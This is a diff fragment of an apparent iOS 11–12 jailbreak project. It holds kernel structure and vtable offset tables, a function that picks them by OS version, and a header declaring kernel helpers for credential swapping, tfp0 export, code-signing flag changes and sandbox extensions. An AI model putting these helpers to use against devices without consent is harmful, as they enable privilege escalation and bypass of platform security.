KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE_SIZE,
|
||||
KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE,
|
||||
|
||||
/* struct vnode */
|
||||
KSTRUCT_OFFSET_VNODE_V_MOUNT,
|
||||
KSTRUCT_OFFSET_VNODE_VU_SPECINFO,
|
||||
KSTRUCT_OFFSET_VNODE_V_LOCK,
|
||||
KSTRUCT_OFFSET_VNODE_V_DATA,
|
||||
|
||||
/* struct specinfo */
|
||||
KSTRUCT_OFFSET_SPECINFO_SI_FLAGS,
|
||||
|
||||
/* struct mount */
|
||||
KSTRUCT_OFFSET_MOUNT_MNT_FLAG,
|
||||
KSTRUCT_OFFSET_MOUNT_MNT_DATA,
|
||||
KSTRUCT_OFFSET_MOUNT_MNT_MLOCK,
|
||||
|
||||
/* struct host */
|
||||
KSTRUCT_OFFSET_HOST_SPECIAL,
|
||||
|
||||
/* struct ucred */
|
||||
KSTRUCT_OFFSET_UCRED_CR_REF,
|
||||
KSTRUCT_OFFSET_UCRED_CR_UID,
|
||||
KSTRUCT_OFFSET_UCRED_CR_RUID,
|
||||
KSTRUCT_OFFSET_UCRED_CR_SVUID,
|
||||
KSTRUCT_OFFSET_UCRED_CR_NGROUPS,
|
||||
KSTRUCT_OFFSET_UCRED_CR_GROUPS,
|
||||
KSTRUCT_OFFSET_UCRED_CR_RGID,
|
||||
KSTRUCT_OFFSET_UCRED_CR_SVGID,
|
||||
KSTRUCT_OFFSET_UCRED_CR_GMUID,
|
||||
KSTRUCT_OFFSET_UCRED_CR_FLAGS,
|
||||
KSTRUCT_OFFSET_UCRED_CR_LABEL,
|
||||
|
||||
/* struct label */
|
||||
KSTRUCT_OFFSET_LABEL_L_FLAGS,
|
||||
KSTRUCT_OFFSET_LABEL_L_PERPOLICY,
|
||||
|
||||
/* struct ipc_entry */
|
||||
KSTRUCT_SIZE_IPC_ENTRY,
|
||||
KSTRUCT_OFFSET_IPC_ENTRY_IE_BITS,
|
||||
|
||||
/* struct vnode */
|
||||
KSTRUCT_OFFSET_VNODE_V_FLAG,
|
||||
|
||||
/* vtable OSDictionary */
|
||||
KVTABLE_OFFSET_OSDICTIONARY_SETOBJECTWITHCHARP,
|
||||
KVTABLE_OFFSET_OSDICTIONARY_GETOBJECTWITHCHARP,
|
||||
KVTABLE_OFFSET_OSDICTIONARY_MERGE,
|
||||
|
||||
/* vtable OSArray */
|
||||
KVTABLE_OFFSET_OSARRAY_MERGE,
|
||||
KVTABLE_OFFSET_OSARRAY_REMOVEOBJECT,
|
||||
KVTABLE_OFFSET_OSARRAY_GETOBJECT,
|
||||
|
||||
/* vtable OSObject */
|
||||
KVTABLE_OFFSET_OSOBJECT_RELEASE,
|
||||
KVTABLE_OFFSET_OSOBJECT_GETRETAINCOUNT,
|
||||
KVTABLE_OFFSET_OSOBJECT_RETAIN,
|
||||
|
||||
/* vtable OSString */
|
||||
KVTABLE_OFFSET_OSSTRING_GETLENGTH,
|
||||
|
||||
KFREE_ADDR_OFFSET,
|
||||
};
|
||||
|
||||
uint32_t koffset(enum kernel_offset offset);
|
||||
|
||||
#endif
|
||||
@@ -0,0 +1,351 @@
|
||||
#import <Foundation/Foundation.h>
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <sys/sysctl.h>
|
||||
#include <sys/utsname.h>
|
||||
|
||||
#include "KernelOffsets.h"
|
||||
#include <common.h>
|
||||
#include "utils.h"
|
||||
|
||||
uint32_t* offsets = NULL;
|
||||
|
||||
uint32_t kernel_offsets_11_0[] = {
|
||||
0xb, // KSTRUCT_OFFSET_TASK_LCK_MTX_TYPE
|
||||
0x10, // KSTRUCT_OFFSET_TASK_REF_COUNT
|
||||
0x14, // KSTRUCT_OFFSET_TASK_ACTIVE
|
||||
0x20, // KSTRUCT_OFFSET_TASK_VM_MAP
|
||||
0x28, // KSTRUCT_OFFSET_TASK_NEXT
|
||||
0x30, // KSTRUCT_OFFSET_TASK_PREV
|
||||
0x308, // KSTRUCT_OFFSET_TASK_ITK_SPACE
|
||||
0x368, // KSTRUCT_OFFSET_TASK_BSD_INFO
|
||||
0x3a8, // KSTRUCT_OFFSET_TASK_ALL_IMAGE_INFO_ADDR
|
||||
0x3b0, // KSTRUCT_OFFSET_TASK_ALL_IMAGE_INFO_SIZE
|
||||
0x3a0, // KSTRUCT_OFFSET_TASK_TFLAGS
|
||||
0x0, // KSTRUCT_OFFSET_TASK_LOCK
|
||||
|
||||
0x0, // KSTRUCT_OFFSET_IPC_PORT_IO_BITS
|
||||
0x4, // KSTRUCT_OFFSET_IPC_PORT_IO_REFERENCES
|
||||
0x40, // KSTRUCT_OFFSET_IPC_PORT_IKMQ_BASE
|
||||
0x50, // KSTRUCT_OFFSET_IPC_PORT_MSG_COUNT
|
||||
0x60, // KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER
|
||||
0x68, // KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT
|
||||
0x88, // KSTRUCT_OFFSET_IPC_PORT_IP_PREMSG
|
||||
0x90, // KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT
|
||||
0xa0, // KSTRUCT_OFFSET_IPC_PORT_IP_SRIGHTS
|
||||
|
||||
0x10, // KSTRUCT_OFFSET_PROC_PID
|
||||
0x108, // KSTRUCT_OFFSET_PROC_P_FD
|
||||
0x18, // KSTRUCT_OFFSET_PROC_TASK
|
||||
0x100, // KSTRUCT_OFFSET_PROC_UCRED
|
||||
0x0, // KSTRUCT_OFFSET_PROC_P_LIST
|
||||
0x2a8, // KSTRUCT_OFFSET_PROC_P_CSFLAGS
|
||||
0x410, // KSTRUCT_OFFSET_PROC_P_MEMSTAT_STATE
|
||||
0x58, // KSTRUCT_OFFSET_PROC_MLOCK
|
||||
0xf0, // KSTRUCT_OFFSET_PROC_UCRED_MLOCK
|
||||
0x40, // KSTRUCT_OFFSET_PROC_SVUID
|
||||
0x44, // KSTRUCT_OFFSET_PROC_SVGID
|
||||
|
||||
0x0, // KSTRUCT_OFFSET_FILEDESC_FD_OFILES
|
||||
|
||||
0x8, // KSTRUCT_OFFSET_FILEPROC_F_FGLOB
|
||||
|
||||
0x38, // KSTRUCT_OFFSET_FILEGLOB_FG_DATA
|
||||
|
||||
0x10, // KSTRUCT_OFFSET_SOCKET_SO_PCB
|
||||
|
||||
0x10, // KSTRUCT_OFFSET_PIPE_BUFFER
|
||||
|
||||
0x14, // KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE_SIZE
|
||||
0x20, // KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE
|
||||
|
||||
0xd8, // KSTRUCT_OFFSET_VNODE_V_MOUNT
|
||||
0x78, // KSTRUCT_OFFSET_VNODE_VU_SPECINFO
|
||||
0x0, // KSTRUCT_OFFSET_VNODE_V_LOCK
|
||||
0xe0, // KSTRUCT_OFFSET_VNODE_V_DATA
|
||||
|
||||
0x10, // KSTRUCT_OFFSET_SPECINFO_SI_FLAGS
|
||||
|
||||
0x70, // KSTRUCT_OFFSET_MOUNT_MNT_FLAG
|
||||
0x8f8, // KSTRUCT_OFFSET_MOUNT_MNT_DATA
|
||||
0x18, // KSTRUCT_OFFSET_MOUNT_MNT_MLOCK
|
||||
|
||||
0x10, // KSTRUCT_OFFSET_HOST_SPECIAL
|
||||
|
||||
0x10, // KSTRUCT_OFFSET_UCRED_CR_REF
|
||||
0x18, // KSTRUCT_OFFSET_UCRED_CR_UID
|
||||
0x1c, // KSTRUCT_OFFSET_UCRED_CR_RUID
|
||||
0x20, // KSTRUCT_OFFSET_UCRED_CR_SVUID
|
||||
0x24, // KSTRUCT_OFFSET_UCRED_CR_NGROUPS
|
||||
0x28, // KSTRUCT_OFFSET_UCRED_CR_GROUPS
|
||||
0x68, // KSTRUCT_OFFSET_UCRED_CR_RGID
|
||||
0x6c, // KSTRUCT_OFFSET_UCRED_CR_SVGID
|
||||
0x70, // KSTRUCT_OFFSET_UCRED_CR_GMUID
|
||||
0x74, // KSTRUCT_OFFSET_UCRED_CR_FLAGS
|
||||
0x78, // KSTRUCT_OFFSET_UCRED_CR_LABEL
|
||||
|
||||
0x0, // KSTRUCT_OFFSET_LABEL_L_FLAGS
|
||||
0x8, // KSTRUCT_OFFSET_LABEL_L_PERPOLICY
|
||||
|
||||
0x18, // KSTRUCT_SIZE_IPC_ENTRY
|
||||
0x8, // KSTRUCT_OFFSET_IPC_ENTRY_IE_BITS
|
||||
|
||||
0x54, // KSTRUCT_OFFSET_VNODE_V_FLAG
|
||||
|
||||
0x1F, // KVTABLE_OFFSET_OSDICTIONARY_SETOBJECTWITHCHARP
|
||||
0x26, // KVTABLE_OFFSET_OSDICTIONARY_GETOBJECTWITHCHARP
|
||||
0x23, // KVTABLE_OFFSET_OSDICTIONARY_MERGE
|
||||
|
||||
0x1E, // KVTABLE_OFFSET_OSARRAY_MERGE
|
||||
0x20, // KVTABLE_OFFSET_OSARRAY_REMOVEOBJECT
|
||||
0x22, // KVTABLE_OFFSET_OSARRAY_GETOBJECT
|
||||
|
||||
0x05, // KVTABLE_OFFSET_OSOBJECT_RELEASE
|
||||
0x03, // KVTABLE_OFFSET_OSOBJECT_GETRETAINCOUNT
|
||||
0x04, // KVTABLE_OFFSET_OSOBJECT_RETAIN
|
||||
|
||||
0x11, // KVTABLE_OFFSET_OSSTRING_GETLENGTH
|
||||
|
||||
0x6c, // KFREE_ADDR_OFFSET
|
||||
};
|
||||
|
||||
uint32_t kernel_offsets_11_3[] = {
|
||||
0xb, // KSTRUCT_OFFSET_TASK_LCK_MTX_TYPE
|
||||
0x10, // KSTRUCT_OFFSET_TASK_REF_COUNT
|
||||
0x14, // KSTRUCT_OFFSET_TASK_ACTIVE
|
||||
0x20, // KSTRUCT_OFFSET_TASK_VM_MAP
|
||||
0x28, // KSTRUCT_OFFSET_TASK_NEXT
|
||||
0x30, // KSTRUCT_OFFSET_TASK_PREV
|
||||
0x308, // KSTRUCT_OFFSET_TASK_ITK_SPACE
|
||||
0x368, // KSTRUCT_OFFSET_TASK_BSD_INFO
|
||||
0x3a8, // KSTRUCT_OFFSET_TASK_ALL_IMAGE_INFO_ADDR
|
||||
0x3b0, // KSTRUCT_OFFSET_TASK_ALL_IMAGE_INFO_SIZE
|
||||
0x3a0, // KSTRUCT_OFFSET_TASK_TFLAGS
|
||||
0x0, // KSTRUCT_OFFSET_TASK_LOCK
|
||||
|
||||
0x0, // KSTRUCT_OFFSET_IPC_PORT_IO_BITS
|
||||
0x4, // KSTRUCT_OFFSET_IPC_PORT_IO_REFERENCES
|
||||
0x40, // KSTRUCT_OFFSET_IPC_PORT_IKMQ_BASE
|
||||
0x50, // KSTRUCT_OFFSET_IPC_PORT_MSG_COUNT
|
||||
0x60, // KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER
|
||||
0x68, // KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT
|
||||
0x88, // KSTRUCT_OFFSET_IPC_PORT_IP_PREMSG
|
||||
0x90, // KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT
|
||||
0xa0, // KSTRUCT_OFFSET_IPC_PORT_IP_SRIGHTS
|
||||
|
||||
0x10, // KSTRUCT_OFFSET_PROC_PID
|
||||
0x108, // KSTRUCT_OFFSET_PROC_P_FD
|
||||
0x18, // KSTRUCT_OFFSET_PROC_TASK
|
||||
0x100, // KSTRUCT_OFFSET_PROC_UCRED
|
||||
0x0, // KSTRUCT_OFFSET_PROC_P_LIST
|
||||
0x2a8, // KSTRUCT_OFFSET_PROC_P_CSFLAGS
|
||||
0x410, // KSTRUCT_OFFSET_PROC_P_MEMSTAT_STATE
|
||||
0x58, // KSTRUCT_OFFSET_PROC_MLOCK
|
||||
0xf0, // KSTRUCT_OFFSET_PROC_UCRED_MLOCK
|
||||
0x40, // KSTRUCT_OFFSET_PROC_SVUID
|
||||
0x44, // KSTRUCT_OFFSET_PROC_SVGID
|
||||
|
||||
0x0, // KSTRUCT_OFFSET_FILEDESC_FD_OFILES
|
||||
|
||||
0x8, // KSTRUCT_OFFSET_FILEPROC_F_FGLOB
|
||||
|
||||
0x38, // KSTRUCT_OFFSET_FILEGLOB_FG_DATA
|
||||
|
||||
0x10, // KSTRUCT_OFFSET_SOCKET_SO_PCB
|
||||
|
||||
0x10, // KSTRUCT_OFFSET_PIPE_BUFFER
|
||||
|
||||
0x14, // KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE_SIZE
|
||||
0x20, // KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE
|
||||
|
||||
0xd8, // KSTRUCT_OFFSET_VNODE_V_MOUNT
|
||||
0x78, // KSTRUCT_OFFSET_VNODE_VU_SPECINFO
|
||||
0x0, // KSTRUCT_OFFSET_VNODE_V_LOCK
|
||||
0xe0, // KSTRUCT_OFFSET_VNODE_V_DATA
|
||||
|
||||
0x10, // KSTRUCT_OFFSET_SPECINFO_SI_FLAGS
|
||||
|
||||
0x70, // KSTRUCT_OFFSET_MOUNT_MNT_FLAG
|
||||
0x8f8, // KSTRUCT_OFFSET_MOUNT_MNT_DATA
|
||||
0x18, // KSTRUCT_OFFSET_MOUNT_MNT_MLOCK
|
||||
|
||||
0x10, // KSTRUCT_OFFSET_HOST_SPECIAL
|
||||
|
||||
0x10, // KSTRUCT_OFFSET_UCRED_CR_REF
|
||||
0x18, // KSTRUCT_OFFSET_UCRED_CR_UID
|
||||
0x1c, // KSTRUCT_OFFSET_UCRED_CR_RUID
|
||||
0x20, // KSTRUCT_OFFSET_UCRED_CR_SVUID
|
||||
0x24, // KSTRUCT_OFFSET_UCRED_CR_NGROUPS
|
||||
0x28, // KSTRUCT_OFFSET_UCRED_CR_GROUPS
|
||||
0x68, // KSTRUCT_OFFSET_UCRED_CR_RGID
|
||||
0x6c, // KSTRUCT_OFFSET_UCRED_CR_SVGID
|
||||
0x70, // KSTRUCT_OFFSET_UCRED_CR_GMUID
|
||||
0x74, // KSTRUCT_OFFSET_UCRED_CR_FLAGS
|
||||
0x78, // KSTRUCT_OFFSET_UCRED_CR_LABEL
|
||||
|
||||
0x0, // KSTRUCT_OFFSET_LABEL_L_FLAGS
|
||||
0x8, // KSTRUCT_OFFSET_LABEL_L_PERPOLICY
|
||||
|
||||
0x18, // KSTRUCT_SIZE_IPC_ENTRY
|
||||
0x8, // KSTRUCT_OFFSET_IPC_ENTRY_IE_BITS
|
||||
|
||||
0x54, // KSTRUCT_OFFSET_VNODE_V_FLAG
|
||||
|
||||
0x1F, // KVTABLE_OFFSET_OSDICTIONARY_SETOBJECTWITHCHARP
|
||||
0x26, // KVTABLE_OFFSET_OSDICTIONARY_GETOBJECTWITHCHARP
|
||||
0x23, // KVTABLE_OFFSET_OSDICTIONARY_MERGE
|
||||
|
||||
0x1E, // KVTABLE_OFFSET_OSARRAY_MERGE
|
||||
0x20, // KVTABLE_OFFSET_OSARRAY_REMOVEOBJECT
|
||||
0x22, // KVTABLE_OFFSET_OSARRAY_GETOBJECT
|
||||
|
||||
0x05, // KVTABLE_OFFSET_OSOBJECT_RELEASE
|
||||
0x03, // KVTABLE_OFFSET_OSOBJECT_GETRETAINCOUNT
|
||||
0x04, // KVTABLE_OFFSET_OSOBJECT_RETAIN
|
||||
|
||||
0x11, // KVTABLE_OFFSET_OSSTRING_GETLENGTH
|
||||
|
||||
0x6c, // KFREE_ADDR_OFFSET
|
||||
};
|
||||
|
||||
uint32_t kernel_offsets_12_0[] = {
|
||||
0xb, // KSTRUCT_OFFSET_TASK_LCK_MTX_TYPE
|
||||
0x10, // KSTRUCT_OFFSET_TASK_REF_COUNT
|
||||
0x14, // KSTRUCT_OFFSET_TASK_ACTIVE
|
||||
0x20, // KSTRUCT_OFFSET_TASK_VM_MAP
|
||||
0x28, // KSTRUCT_OFFSET_TASK_NEXT
|
||||
0x30, // KSTRUCT_OFFSET_TASK_PREV
|
||||
0x300, // KSTRUCT_OFFSET_TASK_ITK_SPACE
|
||||
#if __arm64e__
|
||||
0x368, // KSTRUCT_OFFSET_TASK_BSD_INFO
|
||||
#else
|
||||
0x358, // KSTRUCT_OFFSET_TASK_BSD_INFO
|
||||
#endif
|
||||
#if __arm64e__
|
||||
0x3a8, // KSTRUCT_OFFSET_TASK_ALL_IMAGE_INFO_ADDR
|
||||
#else
|
||||
0x398, // KSTRUCT_OFFSET_TASK_ALL_IMAGE_INFO_ADDR
|
||||
#endif
|
||||
#if __arm64e__
|
||||
0x3b0, // KSTRUCT_OFFSET_TASK_ALL_IMAGE_INFO_SIZE
|
||||
#else
|
||||
0x3a0, // KSTRUCT_OFFSET_TASK_ALL_IMAGE_INFO_SIZE
|
||||
#endif
|
||||
#if __arm64e__
|
||||
0x400, // KSTRUCT_OFFSET_TASK_TFLAGS
|
||||
#else
|
||||
0x390, // KSTRUCT_OFFSET_TASK_TFLAGS
|
||||
#endif
|
||||
0x0, // KSTRUCT_OFFSET_TASK_LOCK
|
||||
|
||||
0x0, // KSTRUCT_OFFSET_IPC_PORT_IO_BITS
|
||||
0x4, // KSTRUCT_OFFSET_IPC_PORT_IO_REFERENCES
|
||||
0x40, // KSTRUCT_OFFSET_IPC_PORT_IKMQ_BASE
|
||||
0x50, // KSTRUCT_OFFSET_IPC_PORT_MSG_COUNT
|
||||
0x60, // KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER
|
||||
0x68, // KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT
|
||||
0x88, // KSTRUCT_OFFSET_IPC_PORT_IP_PREMSG
|
||||
0x90, // KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT
|
||||
0xa0, // KSTRUCT_OFFSET_IPC_PORT_IP_SRIGHTS
|
||||
|
||||
0x60, // KSTRUCT_OFFSET_PROC_PID
|
||||
0x100, // KSTRUCT_OFFSET_PROC_P_FD
|
||||
0x10, // KSTRUCT_OFFSET_PROC_TASK
|
||||
0xf8, // KSTRUCT_OFFSET_PROC_UCRED
|
||||
0x0, // KSTRUCT_OFFSET_PROC_P_LIST
|
||||
0x290, // KSTRUCT_OFFSET_PROC_P_CSFLAGS
|
||||
0x3f8, // KSTRUCT_OFFSET_PROC_P_MEMSTAT_STATE
|
||||
0x50, // KSTRUCT_OFFSET_PROC_MLOCK
|
||||
0xe8, // KSTRUCT_OFFSET_PROC_UCRED_MLOCK
|
||||
0x32, // KSTRUCT_OFFSET_PROC_SVUID
|
||||
0x36, // KSTRUCT_OFFSET_PROC_SVGID
|
||||
|
||||
0x0, // KSTRUCT_OFFSET_FILEDESC_FD_OFILES
|
||||
|
||||
0x8, // KSTRUCT_OFFSET_FILEPROC_F_FGLOB
|
||||
|
||||
0x38, // KSTRUCT_OFFSET_FILEGLOB_FG_DATA
|
||||
|
||||
0x10, // KSTRUCT_OFFSET_SOCKET_SO_PCB
|
||||
|
||||
0x10, // KSTRUCT_OFFSET_PIPE_BUFFER
|
||||
|
||||
0x14, // KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE_SIZE
|
||||
0x20, // KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE
|
||||
|
||||
0xd8, // KSTRUCT_OFFSET_VNODE_V_MOUNT
|
||||
0x78, // KSTRUCT_OFFSET_VNODE_VU_SPECINFO
|
||||
0x0, // KSTRUCT_OFFSET_VNODE_V_LOCK
|
||||
0xe0, // KSTRUCT_OFFSET_VNODE_V_DATA
|
||||
|
||||
0x10, // KSTRUCT_OFFSET_SPECINFO_SI_FLAGS
|
||||
|
||||
0x70, // KSTRUCT_OFFSET_MOUNT_MNT_FLAG
|
||||
0x8f8, // KSTRUCT_OFFSET_MOUNT_MNT_DATA
|
||||
0x18, // KSTRUCT_OFFSET_MOUNT_MNT_MLOCK
|
||||
|
||||
0x10, // KSTRUCT_OFFSET_HOST_SPECIAL
|
||||
|
||||
0x10, // KSTRUCT_OFFSET_UCRED_CR_REF
|
||||
0x18, // KSTRUCT_OFFSET_UCRED_CR_UID
|
||||
0x1c, // KSTRUCT_OFFSET_UCRED_CR_RUID
|
||||
0x20, // KSTRUCT_OFFSET_UCRED_CR_SVUID
|
||||
0x24, // KSTRUCT_OFFSET_UCRED_CR_NGROUPS
|
||||
0x28, // KSTRUCT_OFFSET_UCRED_CR_GROUPS
|
||||
0x68, // KSTRUCT_OFFSET_UCRED_CR_RGID
|
||||
0x6c, // KSTRUCT_OFFSET_UCRED_CR_SVGID
|
||||
0x70, // KSTRUCT_OFFSET_UCRED_CR_GMUID
|
||||
0x74, // KSTRUCT_OFFSET_UCRED_CR_FLAGS
|
||||
0x78, // KSTRUCT_OFFSET_UCRED_CR_LABEL
|
||||
|
||||
0x0, // KSTRUCT_OFFSET_LABEL_L_FLAGS
|
||||
0x8, // KSTRUCT_OFFSET_LABEL_L_PERPOLICY
|
||||
|
||||
0x18, // KSTRUCT_SIZE_IPC_ENTRY
|
||||
0x8, // KSTRUCT_OFFSET_IPC_ENTRY_IE_BITS
|
||||
|
||||
0x54, // KSTRUCT_OFFSET_VNODE_V_FLAG
|
||||
|
||||
0x1F, // KVTABLE_OFFSET_OSDICTIONARY_SETOBJECTWITHCHARP
|
||||
0x26, // KVTABLE_OFFSET_OSDICTIONARY_GETOBJECTWITHCHARP
|
||||
0x23, // KVTABLE_OFFSET_OSDICTIONARY_MERGE
|
||||
|
||||
0x1E, // KVTABLE_OFFSET_OSARRAY_MERGE
|
||||
0x20, // KVTABLE_OFFSET_OSARRAY_REMOVEOBJECT
|
||||
0x22, // KVTABLE_OFFSET_OSARRAY_GETOBJECT
|
||||
|
||||
0x05, // KVTABLE_OFFSET_OSOBJECT_RELEASE
|
||||
0x03, // KVTABLE_OFFSET_OSOBJECT_GETRETAINCOUNT
|
||||
0x04, // KVTABLE_OFFSET_OSOBJECT_RETAIN
|
||||
|
||||
0x11, // KVTABLE_OFFSET_OSSTRING_GETLENGTH
|
||||
|
||||
0x6c, // KFREE_ADDR_OFFSET
|
||||
};
|
||||
|
||||
uint32_t koffset(enum kernel_offset offset)
|
||||
{
|
||||
static dispatch_once_t onceToken;
|
||||
dispatch_once(&onceToken, ^{
|
||||
LOG("kCFCoreFoundationVersionNumber: %f", kCFCoreFoundationVersionNumber);
|
||||
if (kCFCoreFoundationVersionNumber >= kCFCoreFoundationVersionNumber_iOS_12_0) {
|
||||
LOG("offsets selected for iOS 12.0 or above");
|
||||
offsets = kernel_offsets_12_0;
|
||||
} else if (kCFCoreFoundationVersionNumber >= kCFCoreFoundationVersionNumber_iOS_11_3) {
|
||||
LOG("offsets selected for iOS 11.3 or above");
|
||||
offsets = kernel_offsets_11_3;
|
||||
} else if (kCFCoreFoundationVersionNumber >= kCFCoreFoundationVersionNumber_iOS_11_0) {
|
||||
LOG("offsets selected for iOS 11.0 to 11.2.6");
|
||||
offsets = kernel_offsets_11_0;
|
||||
} else {
|
||||
LOG("iOS version too low, 11.0 required");
|
||||
offsets = NULL;
|
||||
}
|
||||
});
|
||||
if (offsets == NULL) {
|
||||
return 0;
|
||||
}
|
||||
return offsets[offset];
|
||||
}
|
||||
@@ -0,0 +1,181 @@
|
||||
#ifndef kutils_h
|
||||
#define kutils_h
|
||||
|
||||
#include <common.h>
|
||||
#include <mach/mach.h>
|
||||
#include <offsetcache.h>
|
||||
#include <stdbool.h>
|
||||
|
||||
#if 0
|
||||
Credits:
|
||||
- https://stek29.rocks/2018/01/26/sandbox.html
|
||||
- https://stek29.rocks/2018/12/11/shenanigans.html
|
||||
- http://newosxbook.com/QiLin/qilin.pdf
|
||||
- https://github.com/Siguza/v0rtex/blob/e6d54c97715d6dbcdda8b9a8090484a7a47019d0/src/v0rtex.m#L1623
|
||||
#endif
|
||||
|
||||
#if 0
|
||||
TODO:
|
||||
- Patchfind proc_lock (High priority)
|
||||
- Patchfind proc_unlock (High priority)
|
||||
- Patchfind proc_ucred_lock (High priority)
|
||||
- Patchfind proc_ucred_unlock (High priority)
|
||||
- Patchfind vnode_lock (Low priority)
|
||||
- Patchfind vnode_unlock (Low priority)
|
||||
- Patchfind mount_lock (Low priority)
|
||||
- Patchfind mount_unlock (Low priority)
|
||||
- Patchfind task_set_platform_binary (High priority)
|
||||
- Patchfind kauth_cred_ref (Low priority)
|
||||
- Patchfind kauth_cred_unref (Low priority)
|
||||
- Patchfind chgproccnt (Low priority)
|
||||
- Patchfind kauth_cred_ref (Low priority)
|
||||
- Patchfind kauth_cred_unref (Low priority)
|
||||
- Patchfind extension_destroy (Low priority)
|
||||
- Patchfind extension_create_mach (Middle priority)
|
||||
- Use offsetof with XNU headers to find structure offsets (Low priority)
|
||||
- Update Unrestrict to implement the kernel calls
|
||||
#endif
|
||||
|
||||
#define setoffset(offset, val) set_offset(#offset, val)
|
||||
#define getoffset(offset) get_offset(#offset)
|
||||
|
||||
#define OSBoolTrue getOSBool(true)
|
||||
#define OSBoolFalse getOSBool(false)
|
||||
|
||||
extern kptr_t kernel_base;
|
||||
extern uint64_t kernel_slide;
|
||||
|
||||
extern kptr_t cached_proc_struct_addr;
|
||||
extern kptr_t cached_task_self_addr;
|
||||
extern bool found_offsets;
|
||||
|
||||
kptr_t task_self_addr(void);
|
||||
kptr_t ipc_space_kernel(void);
|
||||
kptr_t find_kernel_base(void);
|
||||
|
||||
kptr_t current_thread(void);
|
||||
|
||||
mach_port_t fake_host_priv(void);
|
||||
|
||||
int message_size_for_kalloc_size(int kalloc_size);
|
||||
|
||||
kptr_t get_kernel_proc_struct_addr(void);
|
||||
bool iterate_proc_list(void (^handler)(kptr_t, pid_t, bool *));
|
||||
kptr_t get_proc_struct_for_pid(pid_t pid);
|
||||
kptr_t proc_struct_addr(void);
|
||||
kptr_t get_address_of_port(kptr_t proc, mach_port_t port);
|
||||
kptr_t get_kernel_cred_addr(void);
|
||||
kptr_t give_creds_to_process_at_addr(kptr_t proc, kptr_t cred_addr);
|
||||
bool set_platform_binary(kptr_t proc, bool set);
|
||||
|
||||
kptr_t zm_fix_addr(kptr_t addr);
|
||||
|
||||
bool verify_tfp0(void);
|
||||
|
||||
extern int (*pmap_load_trust_cache)(kptr_t kernel_trust, size_t length);
|
||||
int _pmap_load_trust_cache(kptr_t kernel_trust, size_t length);
|
||||
|
||||
bool set_host_type(host_t host, uint32_t type);
|
||||
bool export_tfp0(host_t host);
|
||||
bool unexport_tfp0(host_t host);
|
||||
|
||||
bool set_csflags(kptr_t proc, uint32_t flags, bool value);
|
||||
bool set_cs_platform_binary(kptr_t proc, bool value);
|
||||
|
||||
bool execute_with_credentials(kptr_t proc, kptr_t credentials, void (^function)(void));
|
||||
|
||||
uint32_t get_proc_memstat_state(kptr_t proc);
|
||||
bool set_proc_memstat_state(kptr_t proc, uint32_t memstat_state);
|
||||
bool set_proc_memstat_internal(kptr_t proc, bool set);
|
||||
bool get_proc_memstat_internal(kptr_t proc);
|
||||
size_t kstrlen(kptr_t ptr);
|
||||
kptr_t sstrdup(const char *str);
|
||||
kptr_t smalloc(size_t size);
|
||||
void sfree(kptr_t ptr);
|
||||
kptr_t IOMalloc(vm_size_t size);
|
||||
void IOFree(kptr_t address, vm_size_t size);
|
||||
int extension_create_file(kptr_t saveto, kptr_t sb, const char *path, size_t path_len, uint32_t subtype);
|
||||
int extension_create_mach(kptr_t saveto, kptr_t sb, const char *name, uint32_t subtype);
|
||||
int extension_add(kptr_t ext, kptr_t sb, const char *desc);
|
||||
void extension_release(kptr_t ext);
|
||||
void extension_destroy(kptr_t ext);
|
||||
bool set_file_extension(kptr_t sandbox, const char *exc_key, const char *path);
|
||||
bool set_mach_extension(kptr_t sandbox, const char *exc_key, const char *name);
|
||||
kptr_t proc_find(pid_t pid);
|
||||
void proc_rele(kptr_t proc);
|
||||
void proc_lock(kptr_t proc);
|
||||
void proc_unlock(kptr_t proc);
|
||||
void proc_ucred_lock(kptr_t proc);
|
||||
void proc_ucred_unlock(kptr_t proc);
|
||||
void vnode_lock(kptr_t vp);
|
||||
void vnode_unlock(kptr_t vp);
|
||||
void mount_lock(kptr_t mp);
|
||||
void mount_unlock(kptr_t mp);
|
||||
void task_set_platform_binary(kptr_t task, boolean_t is_platform);
|
||||
void kauth_cred_ref(kptr_t cred);
|
||||
void kauth_cred_unref(kptr_t cred);
|
||||
int chgproccnt(uid_t uid, int diff);
|
||||
kptr_t vfs_context_current(void);
|
||||
int vnode_lookup(const char *path, int flags, kptr_t *vpp, kptr_t ctx);
|
||||
int vnode_getfromfd(kptr_t ctx, int fd, kptr_t *vpp);
|
||||
int vn_getpath(kptr_t vp, char *pathbuf, int *len);
|
||||
int vnode_put(kptr_t vp);
|
||||
bool OSDictionary_SetItem(kptr_t OSDictionary, const char *key, kptr_t val);
|
||||
kptr_t OSDictionary_GetItem(kptr_t OSDictionary, const char *key);
|
||||
bool OSDictionary_Merge(kptr_t OSDictionary, kptr_t OSDictionary2);
|
||||
uint32_t OSDictionary_ItemCount(kptr_t OSDictionary);
|
||||
kptr_t OSDictionary_ItemBuffer(kptr_t OSDictionary);
|
||||
kptr_t OSDictionary_ItemKey(kptr_t buffer, uint32_t idx);
|
||||
kptr_t OSDictionary_ItemValue(kptr_t buffer, uint32_t idx);
|
||||
uint32_t OSArray_ItemCount(kptr_t OSArray);
|
||||
bool OSArray_Merge(kptr_t OSArray, kptr_t OSArray2);
|
||||
kptr_t OSArray_GetObject(kptr_t OSArray, uint32_t idx);
|
||||
void OSArray_RemoveObject(kptr_t OSArray, uint32_t idx);
|
||||
kptr_t OSArray_ItemBuffer(kptr_t OSArray);
|
||||
kptr_t OSObjectFunc(kptr_t OSObject, uint32_t off);
|
||||
void OSObject_Release(kptr_t OSObject);
|
||||
void OSObject_Retain(kptr_t OSObject);
|
||||
